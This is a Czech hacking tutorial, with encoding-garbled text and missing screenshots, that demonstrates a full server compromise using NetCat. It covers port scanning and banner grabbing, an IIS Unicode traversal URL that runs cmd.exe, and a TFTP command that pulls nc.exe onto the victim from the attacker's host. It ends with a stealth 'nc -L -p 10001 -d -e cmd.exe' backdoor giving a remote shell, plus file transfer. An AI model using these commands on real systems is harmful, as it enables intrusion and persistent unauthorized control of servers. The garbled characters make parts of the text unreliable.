
Hacking s NetCatem
NetCat je 

utilita, která je schopná odesílat a pøijímat data pøes TCP a UDP spojení. 

NetCat mùže být použit jako port scanner, backdoor, port redirector, port 

listener a ještì na spoustu dalších cool vìcí.

Není to vždycky nejlepší nástroj 

pro práci, ale pokud bych se dostal ne opuštìný ostrov, tak bych si chtìl vzít 

NetCat s sebou. V tomhle návodu budu demonstrovat kompletní hack jenom s 

využitím NetCatu, abych ukázal, jak mnohostranný nástroj to je.





Scannování portù s NetCatem


Scannování si ukážeme hned na pøíkladu "nc -v -w 2 -z target 20-30". NetCat 

se bude pokoušet pøipojit na každý port mezi 20 a 30. Pøepínaè -z pøedchází 

posílání dat do TCP spojení a limituje data na UDP spojení. Pøepínaè -i vkládá 

mezeru mezi každé vyzkoušení portu. Aèkoli mùže být NetCat použit pro scannování 

portù, tak to není jeho nejsilnìjší stránka. Nástroje jako

Nmap jsou pro 

scann portù daleko lepší.











Scannovali jsme 192.168.1.1, porty 1-200. Kromì ostatních mùžeme vidìt 

otevøené porty 80, 21 a 25...










Banner Grabbing s NetCatem


Tak teï chceme zjistit, co bìží na portech 80 a 21. K získání banneru mùžeme 

použít NetCat následujícím zpùsobem. 





















Tak teï víme, že se pravdìpodobnì jedná o systém Windows 2000, protože na nìm 

bìží server IIS 5.0 a Microsoft FTP Service.


Tak a teï pojïme poslat na server upravené URL, kterým se pokusíme 
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exploitnout "File Traversal vulnerability" na nepatchovaným serveru. Na 

vyzkoušení budeme používat NetCat a když to pùjde, tak NetCat na server 

uploadneme a ukážeme si, jak mùžeme NetCat využít jako backdoor.


Pokud nevíte, co je to ten "Unicode File traversal exploit", mùžete se 

podívat na web a hledat nìco jako "IIS Unicode File Traversal". (Dneska už to 

asi nebude fungovat, ale na demonstraci NetCatu to musí staèit.)
















Super! Poslali jsme na server URL: http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c: 

k napadení IIS serveru a to co vidíme je adresáø na disku serveru.


Výbornì! Teï chceme na server uploadnout NetCat. Tak použijeme TFTP a 

integrujeme TFTP pøíkaz do upraveného URL.
















tftp -I 192.168.1.9 GET nc.exe


Se pøetransformuje do:


http:///c+TFTP+-i+192.168.1.9+GET+nc.exe 


Pomocí prográmku

TFTPD teda 

dáme NetCat ne server.





















NetCat jako backdoor
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Tak a teï máme NetCat uploadnutý na serveru a chceme ho použít k vytvoøení 

zadních vrátek (backdoor), aby jsme získali vzdálený pøíkazový øádek.


K použití NetCatu jako backdoor potøebujeme, aby naslouchal na nìjakém vybraném 

portu (my se vybereme tøeba port 10001), abychom se na nìj mohli pøipojit z 

našeho poèítaèe... samozøejmì použitím zase NetCatu :))


Pøíkaz, který pošleme na server vypadá nìjak takhle : 


nc -L -p 10001 -d -e cmd.exe


A tady k tomu máme vysvìtlivky :


nc -> spustí NetCat


-L -> øíká NetCatu, aby èekal na pøíchozí spojení


-p -> port, na kterém NetCat èeká


-d -> stealth mode


-e -> spustí nìjaký program (cmd.exe) a èeká na pøíchozí spojení


Teï když budeme tenhle pøíkaz chtít pøetransformovat zase na URL :


http:///c+nc+-L+-p+10001+-d+-e+cmd.exe


No a teï uŸ zbývá jenom NetCat spustit naostro...
















Nyní bychom mìli mít spuštìný NetCat naslouchající na portu 10001. Teïka se z 

naší mašiny pøipojíme na NetCat na serveru.
















Máme vzdálený pøíkazový øádek serveru a mùžeme ho plnì ovládat.





Pøenos souborù pomocí NetCatu
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Pojïme se podívat na ostatní možnosti, které NetCat poskytuje. Chceme pøenést 

soubor hack.txt na server a z nìjakého dùvodu nemùžeme použít TFTP. Mùžeme 

použít NetCat...


Na pøijímání souboru hack.txt musí být NetCat na serveru nastaven takto :


nc -l -p 1234 >hack.txt
















Z našeho poèítaèe odešleme soubor následovnì : 


nc destination 1234













A takhle vypadá soubor hack.txt
















A&Voila! 














Vidíme, že soubor hack.txt byl úspìšnì pøenesen na server pøes port 1234.
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